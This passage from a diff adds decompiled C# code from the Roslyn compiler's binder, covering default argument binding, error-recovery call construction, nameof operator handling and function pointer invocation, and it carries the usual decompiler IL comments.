is FieldSymbol { AssociatedSymbol: { } associatedSymbol })) ? symbol2 : associatedSymbol); + symbol = symbol3; + } + Symbol containingMember = symbol; + defaultArguments = BitVector.Create(parameters.Length); + ArrayBuilder val2 = null; + if (!argsToParamsOpt.IsDefault) + { + val2 = ArrayBuilder.GetInstance(argsToParamsOpt.Length); + val2.AddRange(argsToParamsOpt); + } + Index index = (expanded ? (^1) : (^0)); + int count = argumentsBuilder.Count; + ReadOnlySpan readOnlySpan = parameters.AsSpan(); + ReadOnlySpan readOnlySpan2 = readOnlySpan.Slice(0, index.GetOffset(readOnlySpan.Length)); + for (int num = 0; num < readOnlySpan2.Length; num++) + { + ParameterSymbol parameterSymbol = readOnlySpan2[num]; + if (!((BitVector)(ref val))[parameterSymbol.Ordinal]) + { + ((BitVector)(ref defaultArguments))[argumentsBuilder.Count] = true; + argumentsBuilder.Add(bindDefaultArgument(node, parameterSymbol, containingMember, enableCallerInfo, diagnostics, argumentsBuilder, count, argsToParamsOpt)); + if (argumentRefKindsBuilder != null && argumentRefKindsBuilder.Count > 0) + { + argumentRefKindsBuilder.Add((RefKind)0); + } + val2?.Add(parameterSymbol.Ordinal); + } + } + if (val2 != null) + { + argsToParamsOpt = val2.ToImmutableOrNull(); + val2.Free(); + } + BoundExpression bindDefaultArgument(SyntaxNode syntax, ParameterSymbol parameter, Symbol? symbol4, bool flag, BindingDiagnosticBag bindingDiagnosticBag, ArrayBuilder val6, int argumentsCount, ImmutableArray argsToParamsOpt2) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_02b8: Unknown result type (might be due to invalid IL or missing references) + //IL_02bd: Unknown result type (might be due to invalid IL or missing references) + //IL_02db: Unknown result type (might be due to invalid IL or missing references) + //IL_02f7: Unknown result type (might be due to invalid IL or missing references) + //IL_02fc: Unknown result type (might be due to invalid IL or missing references) + //IL_02fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0302: Invalid comparison between Unknown and I4 + //IL_0260: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_0218: Invalid comparison between Unknown and I4 + //IL_0304: Unknown result type (might be due to invalid IL or missing references) + //IL_0308: Invalid comparison between Unknown and I4 + //IL_0287: Unknown result type (might be due to invalid IL or missing references) + //IL_028d: Invalid comparison between Unknown and I4 + TypeSymbol type = parameter.Type; + if (Flags.Includes(BinderFlags.ParameterDefaultValue)) + { + return new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + } + ConstantValue explicitDefaultConstantValue = parameter.ExplicitDefaultConstantValue; + if (InAttributeArgument && explicitDefaultConstantValue != null && explicitDefaultConstantValue.IsBad) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_BadAttributeArgument, syntax.Location); + return BadExpression(syntax).MakeCompilerGenerated(); + } + ConstantValue val3 = ((explicitDefaultConstantValue == null || !explicitDefaultConstantValue.IsBad) ? explicitDefaultConstantValue : ConstantValue.Null); + ConstantValue val4 = val3; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + SourceLocation val5 = (flag ? GetCallerLocation(syntax) : null); + BoundExpression boundExpression; + if (val5 != null && parameter.IsCallerLineNumber) + { + int displayLineNumber = ((Location)val5).SourceTree.GetDisplayLineNumber(((Location)val5).SourceSpan); + boundExpression = new BoundLiteral(syntax, ConstantValue.Create(displayLineNumber), Compilation.GetSpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + else if (val5 != null && parameter.IsCallerFilePath) + { + string displayPath = ((Location)val5).SourceTree.GetDisplayPath(((Location)val5).SourceSpan, ((CompilationOptions)Compilation.Options).SourceReferenceResolver); + boundExpression = new BoundLiteral(syntax, ConstantValue.Create(displayPath), Compilation.GetSpecialType((SpecialType)20)) + { + WasCompilerGenerated = true + }; + } + else if (val5 != null && parameter.IsCallerMemberName && (object)symbol4 != null) + { + string memberCallerName = symbol4.GetMemberCallerName(); + boundExpression = new BoundLiteral(syntax, ConstantValue.Create(memberCallerName), Compilation.GetSpecialType((SpecialType)20)) + { + WasCompilerGenerated = true + }; + } + else + { + if (val5 != null && !parameter.IsCallerMemberName && Conversions.ClassifyBuiltInConversion(Compilation.GetSpecialType((SpecialType)20), type, isChecked: false, ref useSiteInfo).Exists) + { + int num2 = getArgumentIndex(parameter.CallerArgumentExpressionParameterIndex, argsToParamsOpt2); + if (num2 > -1 && num2 < argumentsCount) + { + BoundExpression boundExpression2 = val6[num2]; + boundExpression = new BoundLiteral(syntax, ConstantValue.Create(((object)boundExpression2.Syntax).ToString()), Compilation.GetSpecialType((SpecialType)20)) + { + WasCompilerGenerated = true + }; + goto IL_02b5; + } + } + if (val4 == (ConstantValue)null) + { + boundExpression = ((!type.IsDynamic() && (int)type.SpecialType != 1) ? new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + } : GetDefaultParameterSpecialNoConversion(syntax, parameter, bindingDiagnosticBag)); + } + else if (val4.IsNull) + { + boundExpression = new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + } + else + { + TypeSymbol specialType = Compilation.GetSpecialType(val4.SpecialType); + boundExpression = new BoundLiteral(syntax, val4, specialType) + { + WasCompilerGenerated = true + }; + if (InAttributeArgument && (int)type.SpecialType == 1) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_NotNullRefDefaultParameter, syntax.Location, parameter.Name, type); + } + } + } + goto IL_02b5; + IL_0312: + bool flag3; + bool flag2 = flag3; + goto IL_0316; + IL_0316: + if (flag2) + { + return new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + } + Conversion conversion; + if (!conversion.IsValid) + { + GenerateImplicitConversionError(bindingDiagnosticBag, syntax, conversion, boundExpression, type); + } + bool isExplicit = conversion.IsExplicit; + return CreateConversion(boundExpression.Syntax, boundExpression, conversion, isExplicit, isExplicit ? new ConversionGroup(conversion, parameter.TypeWithAnnotations) : null, type, bindingDiagnosticBag); + IL_02b5: + CompoundUseSiteInfo useSiteInfo2 = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + conversion = Conversions.ClassifyConversionFromExpression(boundExpression, type, CheckOverflowAtRuntime, ref useSiteInfo2); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(syntax, useSiteInfo2); + flag2 = !conversion.IsValid; + if (flag2) + { + if (val4 != null) + { + SpecialType specialType2 = val4.SpecialType; + if ((int)specialType2 == 17 || (int)specialType2 == 33) + { + flag3 = true; + goto IL_0312; + } + } + flag3 = false; + goto IL_0312; + } + goto IL_0316; + } + static int getArgumentIndex(int parameterIndex, ImmutableArray immutableArray) + { + if (!immutableArray.IsDefault) + { + return immutableArray.IndexOf(parameterIndex); + } + return parameterIndex; + } + } + + internal bool CheckImplicitThisCopyInReadOnlyMember(BoundExpression receiver, MethodSymbol method, BindingDiagnosticBag diagnostics) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + if (receiver != null && receiver.IsEquivalentToThisReference && receiver.Type.IsValueType && ContainingMemberOrLambda is MethodSymbol { IsEffectivelyReadOnly: not false } methodSymbol && TypeSymbol.Equals(methodSymbol.ContainingType, method.ContainingType, (TypeCompareKind)0) && !method.IsEffectivelyReadOnly && method.RequiresInstanceReceiver) + { + Error(diagnostics, ErrorCode.WRN_ImplicitCopyInReadOnlyMember, SyntaxNodeOrToken.op_Implicit(receiver.Syntax), method, "this"); + return false; + } + return true; + } + + private static Location GetLocationForOverloadResolutionDiagnostic(SyntaxNode node, SyntaxNode expression) + { + if (node != expression) + { + switch (expression.Kind()) + { + case SyntaxKind.QualifiedName: + return ((QualifiedNameSyntax)(object)expression).Right.GetLocation(); + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + return ((MemberAccessExpressionSyntax)(object)expression).Name.GetLocation(); + } + } + return expression.GetLocation(); + } + + private BoundExpression ReplaceTypeOrValueReceiver(BoundExpression receiver, bool useType, BindingDiagnosticBag diagnostics) + { + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + if (receiver == null) + { + return null; + } + switch (receiver.Kind) + { + case BoundKind.TypeOrValueExpression: + { + BoundTypeOrValueExpression boundTypeOrValueExpression = (BoundTypeOrValueExpression)receiver; + if (useType) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundTypeOrValueExpression.Data.TypeDiagnostics, false); + ImmutableArray.Enumerator enumerator = boundTypeOrValueExpression.Data.ValueDiagnostics.Diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + if (current.Code == 9179) + { + IReadOnlyList arguments = current.Arguments; + if (arguments == null || arguments.Count != 1 || !(arguments[0] is ParameterSymbol parameterSymbol) || !parameterSymbol.Type.Equals(boundTypeOrValueExpression.Data.ValueExpression.Type, (TypeCompareKind)63)) + { + ((BindingDiagnosticBag)diagnostics).Add(current); + } + } + } + return boundTypeOrValueExpression.Data.TypeExpression; + } + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundTypeOrValueExpression.Data.ValueDiagnostics, false); + return CheckValue(boundTypeOrValueExpression.Data.ValueExpression, BindValueKind.RValue, diagnostics); + } + case BoundKind.QueryClause: + { + BoundQueryClause boundQueryClause = (BoundQueryClause)receiver; + BoundExpression value = boundQueryClause.Value; + BoundExpression boundExpression = ReplaceTypeOrValueReceiver(value, useType, diagnostics); + if (value != boundExpression) + { + return boundQueryClause.Update(boundExpression, boundQueryClause.DefinedSymbol, boundQueryClause.Operation, boundQueryClause.Cast, boundQueryClause.Binder, boundQueryClause.UnoptimizedForm, boundQueryClause.Type); + } + return boundQueryClause; + } + default: + return BindToNaturalType(receiver, diagnostics); + } + } + + private static BoundExpression GetValueExpressionIfTypeOrValueReceiver(BoundExpression receiver) + { + if (receiver == null) + { + return null; + } + if (!(receiver is BoundTypeOrValueExpression { Data: var data })) + { + if (receiver is BoundQueryClause boundQueryClause) + { + return GetValueExpressionIfTypeOrValueReceiver(boundQueryClause.Value); + } + return null; + } + return data.ValueExpression; + } + + private static NamedTypeSymbol GetDelegateType(BoundExpression expr) + { + if (expr != null && expr.Kind != BoundKind.TypeExpression && expr.Type is NamedTypeSymbol namedTypeSymbol && namedTypeSymbol.IsDelegateType()) + { + return namedTypeSymbol; + } + return null; + } + + private BoundCall CreateBadCall(SyntaxNode node, string name, BoundExpression receiver, ImmutableArray methods, LookupResultKind resultKind, ImmutableArray typeArgumentsWithAnnotations, AnalyzedArguments analyzedArguments, bool invokedAsExtensionMethod, bool isDelegate) + { + if (!typeArgumentsWithAnnotations.IsDefaultOrEmpty) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + instance.Add((current.ConstructedFrom == current && current.Arity == typeArgumentsWithAnnotations.Length) ? current.Construct(typeArgumentsWithAnnotations) : current); + } + methods = instance.ToImmutableAndFree(); + } + MethodSymbol method; + if (methods.Length == 1 && !IsUnboundGeneric(methods[0])) + { + method = methods[0]; + } + else + { + TypeSymbol returnType = GetCommonTypeOrReturnType(methods) ?? new ExtendedErrorTypeSymbol(Compilation, string.Empty, 0, null); + method = new ErrorMethodSymbol((receiver != null && (object)receiver.Type != null) ? receiver.Type : ContainingType, returnType, name); + } + ImmutableArray arguments = BuildArgumentsForErrorRecovery(analyzedArguments, methods); + ImmutableArray names = analyzedArguments.GetNames(); + ImmutableArray refKinds = analyzedArguments.RefKinds.ToImmutableOrNull(); + receiver = BindToTypeForErrorRecovery(receiver); + return BoundCall.ErrorCall(node, receiver, method, arguments, names, refKinds, isDelegate, invokedAsExtensionMethod, methods, resultKind, this); + } + + private static bool IsUnboundGeneric(MethodSymbol method) + { + if (method.IsGenericMethod) + { + return method.ConstructedFrom() == method; + } + return false; + } + + private ImmutableArray BuildArgumentsForErrorRecovery(AnalyzedArguments analyzedArguments, ImmutableArray methods) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (!IsUnboundGeneric(current) && current.ParameterCount > 0) + { + instance.Add(current.Parameters); + if (instance.Count == 10) + { + break; + } + } + } + ImmutableArray result = BuildArgumentsForErrorRecovery(analyzedArguments, (IEnumerable>)instance); + instance.Free(); + return result; + } + + private ImmutableArray BuildArgumentsForErrorRecovery(AnalyzedArguments analyzedArguments, ImmutableArray properties) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + PropertySymbol current = enumerator.Current; + if (current.ParameterCount > 0) + { + instance.Add(current.Parameters); + if (instance.Count == 10) + { + break; + } + } + } + ImmutableArray result = BuildArgumentsForErrorRecovery(analyzedArguments, (IEnumerable>)instance); + instance.Free(); + return result; + } + + private ImmutableArray BuildArgumentsForErrorRecovery(AnalyzedArguments analyzedArguments, IEnumerable> parameterListList) + { + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Invalid comparison between Unknown and I4 + int count = analyzedArguments.Arguments.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + instance.AddRange(analyzedArguments.Arguments); + for (int i = 0; i < count; i++) + { + BoundExpression boundExpression = instance[i]; + UnboundLambda unboundLambda; + switch (boundExpression.Kind) + { + case BoundKind.UnboundLambda: + { + unboundLambda = (UnboundLambda)boundExpression; + if (unboundLambda.HasExplicitlyTypedParameterList && unboundLambda.HasExplicitReturnType(out var _, out var _)) + { + FunctionTypeSymbol functionType = unboundLambda.FunctionType; + if ((object)functionType != null) + { + NamedTypeSymbol internalDelegateType = functionType.GetInternalDelegateType(); + if ((object)internalDelegateType != null) + { + unboundLambda.Bind(internalDelegateType, isExpressionTree: false); + goto IL_014b; + } + } + } + foreach (ImmutableArray parameterList in parameterListList) + { + TypeSymbol correspondingParameterType = GetCorrespondingParameterType(analyzedArguments, i, parameterList); + if ((object)correspondingParameterType != null && (int)correspondingParameterType.Kind == 11 && (object)correspondingParameterType.GetDelegateType() != null) + { + unboundLambda.Bind((NamedTypeSymbol)correspondingParameterType, isExpressionTree: false); + } + } + goto IL_014b; + } + case BoundKind.DiscardExpression: + case BoundKind.OutVariablePendingInference: + { + if (boundExpression.HasExpressionType()) + { + break; + } + TypeSymbol typeSymbol = getCorrespondingParameterType(i); + if (boundExpression.Kind == BoundKind.OutVariablePendingInference) + { + if ((object)typeSymbol == null) + { + instance[i] = ((OutVariablePendingInference)boundExpression).FailInference(this, null); + } + else + { + instance[i] = ((OutVariablePendingInference)boundExpression).SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(typeSymbol), null); + } + } + else if (boundExpression.Kind == BoundKind.DiscardExpression) + { + if ((object)typeSymbol == null) + { + instance[i] = ((BoundDiscardExpression)boundExpression).FailInference(this, null); + } + else + { + instance[i] = ((BoundDiscardExpression)boundExpression).SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(typeSymbol)); + } + } + break; + } + case BoundKind.OutDeconstructVarPendingInference: + instance[i] = ((OutDeconstructVarPendingInference)boundExpression).FailInference(this); + break; + case BoundKind.Local: + case BoundKind.Parameter: + instance[i] = BindToTypeForErrorRecovery(boundExpression); + break; + default: + { + instance[i] = BindToTypeForErrorRecovery(boundExpression, getCorrespondingParameterType(i)); + break; + } + IL_014b: + instance[i] = unboundLambda.BindForErrorRecovery(); + break; + } + } + return instance.ToImmutableAndFree(); + TypeSymbol getCorrespondingParameterType(int i2) + { + TypeSymbol typeSymbol2 = null; + foreach (ImmutableArray parameterList2 in parameterListList) + { + TypeSymbol correspondingParameterType2 = GetCorrespondingParameterType(analyzedArguments, i2, parameterList2); + if ((object)correspondingParameterType2 != null) + { + if ((object)typeSymbol2 == null) + { + typeSymbol2 = correspondingParameterType2; + } + else if (!typeSymbol2.Equals(correspondingParameterType2, (TypeCompareKind)9)) + { + typeSymbol2 = null; + break; + } + } + } + return typeSymbol2; + } + } + + private static TypeSymbol GetCorrespondingParameterType(AnalyzedArguments analyzedArguments, int i, ImmutableArray parameterList) + { + string text = analyzedArguments.Name(i); + if (text != null) + { + ImmutableArray.Enumerator enumerator = parameterList.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.Name == text) + { + return current.Type; + } + } + return null; + } + if (i >= parameterList.Length) + { + return null; + } + return parameterList[i].Type; + } + + private ImmutableArray BuildArgumentsForErrorRecovery(AnalyzedArguments analyzedArguments) + { + return BuildArgumentsForErrorRecovery(analyzedArguments, Enumerable.Empty>()); + } + + private BoundCall CreateBadCall(SyntaxNode node, BoundExpression expr, LookupResultKind resultKind, AnalyzedArguments analyzedArguments) + { + TypeSymbol returnType = new ExtendedErrorTypeSymbol(Compilation, string.Empty, 0, null); + MethodSymbol method = new ErrorMethodSymbol(expr.Type ?? ContainingType, returnType, string.Empty); + ImmutableArray arguments = BuildArgumentsForErrorRecovery(analyzedArguments); + ImmutableArray names = analyzedArguments.GetNames(); + ImmutableArray refKinds = analyzedArguments.RefKinds.ToImmutableOrNull(); + ImmutableArray originalMethods = ((expr.Kind == BoundKind.MethodGroup) ? ((BoundMethodGroup)expr).Methods : ImmutableArray.Empty); + return BoundCall.ErrorCall(node, expr, method, arguments, names, refKinds, isDelegateCall: false, invokedAsExtensionMethod: false, originalMethods, resultKind, this); + } + + private static TypeSymbol GetCommonTypeOrReturnType(ImmutableArray members) where TMember : Symbol + { + TypeSymbol typeSymbol = null; + int i = 0; + for (int length = members.Length; i < length; i++) + { + TypeSymbol type = members[i].GetTypeOrReturnType().Type; + if ((object)typeSymbol == null) + { + typeSymbol = type; + } + else if (!TypeSymbol.Equals(typeSymbol, type, (TypeCompareKind)0)) + { + return null; + } + } + return typeSymbol; + } + + private bool TryBindNameofOperator(InvocationExpressionSyntax node, BindingDiagnosticBag diagnostics, out BoundExpression result) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (node.MayBeNameofOperator()) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + if ((object)binder.EnclosingNameofArgument == node.ArgumentList.Arguments[0].Expression) + { + result = binder.BindNameofOperatorInternal(node, diagnostics); + return true; + } + } + result = null; + return false; + } + + private BoundExpression BindNameofOperatorInternal(InvocationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureNameof, diagnostics); + ExpressionSyntax expression = node.ArgumentList.Arguments[0].Expression; + BoundExpression boundExpression = BindExpression(expression, diagnostics); + string name; + bool flag = CheckSyntaxForNameofArgument(expression, out name, boundExpression.HasAnyErrors ? BindingDiagnosticBag.Discarded : diagnostics); + if (!boundExpression.HasAnyErrors && flag && boundExpression.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)boundExpression; + if (!boundMethodGroup.TypeArgumentsOpt.IsDefaultOrEmpty) + { + diagnostics.Add(ErrorCode.ERR_NameofMethodGroupWithTypeParameters, ((SyntaxNode)expression).Location); + } + else + { + EnsureNameofExpressionSymbols(boundMethodGroup, diagnostics); + } + } + if (boundExpression is BoundNamespaceExpression boundNamespaceExpression) + { + diagnostics.AddAssembliesUsedByNamespaceReference(boundNamespaceExpression.NamespaceSymbol); + } + boundExpression = BindToNaturalType(boundExpression, diagnostics, reportNoTargetType: false); + return new BoundNameOfOperator((SyntaxNode)(object)node, boundExpression, ConstantValue.Create(name), Compilation.GetSpecialType((SpecialType)20)); + } + + private void EnsureNameofExpressionSymbols(BoundMethodGroup methodGroup, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodGroupResolution methodGroupResolution = ResolveMethodGroup(methodGroup, null, isMethodGroupConversion: false, ref useSiteInfo, inferWithDynamic: false, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(methodGroup.Syntax, useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + if (methodGroupResolution.IsExtensionMethodGroup) + { + diagnostics.Add(ErrorCode.ERR_NameofExtensionMethod, methodGroup.Syntax.Location); + } + } + + private bool CheckSyntaxForNameofArgument(ExpressionSyntax argument, out string name, BindingDiagnosticBag diagnostics, bool top = true) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier; + switch (argument.Kind()) + { + case SyntaxKind.IdentifierName: + { + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)argument; + identifier = identifierNameSyntax.Identifier; + name = ((SyntaxToken)(ref identifier)).ValueText; + return true; + } + case SyntaxKind.GenericName: + { + GenericNameSyntax genericNameSyntax = (GenericNameSyntax)argument; + identifier = genericNameSyntax.Identifier; + name = ((SyntaxToken)(ref identifier)).ValueText; + return true; + } + case SyntaxKind.SimpleMemberAccessExpression: + { + MemberAccessExpressionSyntax memberAccessExpressionSyntax = (MemberAccessExpressionSyntax)argument; + bool result = true; + SyntaxKind syntaxKind = memberAccessExpressionSyntax.Expression.Kind(); + if (syntaxKind - 8746 > SyntaxKind.List) + { + result = CheckSyntaxForNameofArgument(memberAccessExpressionSyntax.Expression, out name, diagnostics, top: false); + } + identifier = memberAccessExpressionSyntax.Name.Identifier; + name = ((SyntaxToken)(ref identifier)).ValueText; + return result; + } + case SyntaxKind.AliasQualifiedName: + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (AliasQualifiedNameSyntax)argument; + bool result2 = true; + if (top) + { + diagnostics.Add(ErrorCode.ERR_AliasQualifiedNameNotAnExpression, ((SyntaxNode)argument).Location); + result2 = false; + } + identifier = aliasQualifiedNameSyntax.Name.Identifier; + name = ((SyntaxToken)(ref identifier)).ValueText; + return result2; + } + case SyntaxKind.PredefinedType: + case SyntaxKind.ThisExpression: + case SyntaxKind.BaseExpression: + name = ""; + if (!top) + { + return true; + } + break; + } + ErrorCode code = (top ? ErrorCode.ERR_ExpressionHasNoName : ErrorCode.ERR_SubexpressionNotInNameof); + diagnostics.Add(code, ((SyntaxNode)argument).Location); + name = ""; + return false; + } + + internal bool InvocableNameofInScope() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + LookupSymbolsWithFallback(instance, SyntaxFacts.GetText(SyntaxKind.NameOfKeyword), 0, ref useSiteInfo, null, LookupOptions.MustBeInvocableIfMember | LookupOptions.AllMethodsOnArityZero); + bool isMultiViable = instance.IsMultiViable; + instance.Free(); + return isMultiViable; + } + + private BoundFunctionPointerInvocation BindFunctionPointerInvocation(SyntaxNode node, BoundExpression boundExpression, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + boundExpression = BindToNaturalType(boundExpression, diagnostics); + FunctionPointerTypeSymbol functionPointerTypeSymbol = (FunctionPointerTypeSymbol)boundExpression.Type; + OverloadResolutionResult instance = OverloadResolutionResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(1); + instance2.Add(functionPointerTypeSymbol.Signature); + OverloadResolution.FunctionPointerOverloadResolution(instance2, analyzedArguments, instance, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (!instance.Succeeded) + { + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + instance.ReportDiagnostics(this, node.Location, null, diagnostics, null, boundExpression, boundExpression.Syntax, analyzedArguments, immutableArray, null, null, null, isMethodGroupConversion: false, functionPointerTypeSymbol.Signature.RefKind); + return new BoundFunctionPointerInvocation(node, boundExpression, BuildArgumentsForErrorRecovery(analyzedArguments, StaticCast.From(immutableArray)), analyzedArguments.RefKinds.ToImmutableOrNull(), LookupResultKind.OverloadResolutionFailure, functionPointerTypeSymbol.Signature.ReturnType, hasErrors: true); + } + instance2.Free(); + MemberResolutionResult validResult = instance.ValidResult; + CheckAndCoerceArguments(validResult, analyzedArguments, diagnostics, null, invokedAsExtensionMethod: false); + ImmutableArray arguments = analyzedArguments.Arguments.ToImmutable(); + ImmutableArray argumentRefKindsOpt = analyzedArguments.RefKinds.ToImmutableOrNull(); + bool hasErrors = ReportUnsafeIfNotAllowed(node, diagnostics); + return new BoundFunctionPointerInvocation(node, boundExpression, arguments, argumentRefKindsOpt, LookupResultKind.Viable, functionPointerTypeSymbol.Signature.ReturnType, hasErrors); + } + + private UnboundLambda AnalyzeAnonymousFunction(AnonymousFunctionExpressionSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_01a5: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_0208: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0211: Unknown result type (might be due to invalid IL or missing references) + //IL_0216: Unknown result type (might be due to invalid IL or missing references) + //IL_01b9: Unknown result type (might be due to invalid IL or missing references) + //IL_04cf: Unknown result type (might be due to invalid IL or missing references) + //IL_022e: Unknown result type (might be due to invalid IL or missing references) + //IL_03b5: Unknown result type (might be due to invalid IL or missing references) + //IL_0243: Unknown result type (might be due to invalid IL or missing references) + //IL_02c7: Unknown result type (might be due to invalid IL or missing references) + //IL_02ca: Unknown result type (might be due to invalid IL or missing references) + //IL_028e: Unknown result type (might be due to invalid IL or missing references) + //IL_0275: Unknown result type (might be due to invalid IL or missing references) + //IL_02f4: Unknown result type (might be due to invalid IL or missing references) + //IL_0301: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + //IL_030c: Unknown result type (might be due to invalid IL or missing references) + //IL_0311: Unknown result type (might be due to invalid IL or missing references) + //IL_0344: Unknown result type (might be due to invalid IL or missing references) + //IL_0349: Unknown result type (might be due to invalid IL or missing references) + //IL_0362: Unknown result type (might be due to invalid IL or missing references) + //IL_036b: Unknown result type (might be due to invalid IL or missing references) + //IL_031e: Unknown result type (might be due to invalid IL or missing references) + //IL_038f: Unknown result type (might be due to invalid IL or missing references) + //IL_0383: Unknown result type (might be due to invalid IL or missing references) + //IL_0389: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray names = default(ImmutableArray); + ImmutableArray refKinds = default(ImmutableArray); + ImmutableArray declaredScopes = default(ImmutableArray); + ImmutableArray types = default(ImmutableArray); + ImmutableArray defaultValues = default(ImmutableArray); + RefKind returnRefKind = (RefKind)0; + TypeWithAnnotations returnType = default(TypeWithAnnotations); + ImmutableArray> parameterAttributes = default(ImmutableArray>); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray discardsOpt = default(ImmutableArray); + SeparatedSyntaxList? syntaxList = null; + if (syntax is LambdaExpressionSyntax lambdaExpressionSyntax) + { + MessageID.IDS_FeatureLambda.CheckFeatureAvailability(diagnostics, lambdaExpressionSyntax.ArrowToken); + checkAttributes(syntax, lambdaExpressionSyntax.AttributeLists, diagnostics); + } + bool flag; + SyntaxToken refnessKeyword; + switch (syntax.Kind()) + { + default: + 